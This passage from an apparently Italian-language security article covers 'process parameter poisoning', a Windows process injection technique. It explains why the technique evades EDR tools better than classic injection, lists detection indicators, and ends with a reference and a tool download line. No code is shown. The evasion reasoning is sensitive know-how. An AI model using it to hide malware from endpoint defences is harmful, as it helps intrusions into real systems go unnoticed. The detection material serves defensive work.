    ## 6. Vantaggi dell'elusione del rilevamento con questa tecnica
     
    Un vantaggio importante di questa tecnica è che nessun processo viene creato in stato sospeso e nessun thread o processo viene sospeso durante la sua esecuzione. La creazione di processi sospesi o le chiamate ripetute a `SuspendThread` sono indicatori noti utilizzati dagli EDR per il process hollowing, l'iniezione di processi e attacchi simili.
     
    Inoltre, creando il processo di destinazione, un handle per il thread principale è già disponibile e dispone dell'accesso necessario per modificarne il contesto.
     
    | Aspetto | Iniezione Classica | Avvelenamento dei Parametri di Processo |
    |---|---|---|
    | Allocazione della memoria | `VirtualAllocEx` richiesto | Nessuna allocazione esplicita |
    | Scrittura della memoria | `WriteProcessMemory` richiesto | Indiretta tramite `CreateProcessW` |
    | Reindirizzamento dell'esecuzione | `CreateRemoteThread` o APC | `SetThreadContext` |
    | Probabilità di rilevamento | Alta (molte API sospette) | Ridotta (creazione di processi legittima) |
    | Telemetria EDR | Monitorata attentamente | Osservabilità ridotta |
     
    Complessivamente, questa tecnica desta molta meno sospetto, poiché lascia un'impronta più piccola utilizzando API legittime di creazione di processi e gestione dei thread.
     
    ---
    
    ## 7. Approccio al rilevamento
     
    Ci sono diversi indicatori sospetti generati da questa tecnica che possono essere usati per rilevarla.
     
    - `VirtualProtectEx` che rende eseguibile una regione di memoria seguito da `SetThreadContext` con almeno `CONTEXT_CONTROL`. Vale la pena notare che il puntatore alle istruzioni non deve necessariamente puntare a questa regione eseguibile, poiché può invece puntare a un gadget che poi la reindirizza. Tuttavia, è molto probabile che un puntatore all'interno della regione di memoria venga scritto in uno dei registri della CPU.
    - `VirtualProtectEx` che rende eseguibili le pagine dei parametri di processo, sia nel processo stesso sia in processi esterni.
    - Creazione di un processo in cui uno dei tre parametri abusati desta sospetti. Ad esempio, se l'entropia della riga di comando è vicina a quella del shellcode o lontana da quella di un normale valore di riga di comando. Inoltre, la lunghezza del parametro fornito è eccessiva o contiene molti caratteri insoliti. Tuttavia, affidarsi esclusivamente a questo è probabilmente soggetto a falsi positivi.
    - Lettura della struttura dei parametri di processo di un processo remoto a cui punta il PEB.
    
    ---
    
    ## 8. Conclusione
     
    In sintesi, gli attaccanti possono bypassare le moderne soluzioni di sicurezza grazie a nuove idee e piccole modifiche, sia sviluppando nuove tecniche sia riapplicando vecchie tecniche in modi nuovi. 
    È quindi importante sviluppare continuamente nuove regole di rilevamento e non fare affidamento esclusivamente su una soluzione esistente.
    
    ---
    
    ## 9. Riferimenti
    
    [1] https://web.archive.org/web/20241211190548/https://modexp.wordpress.com/2020/07/31/wpi-cmdline-envar/
    
    Scarica lo strumento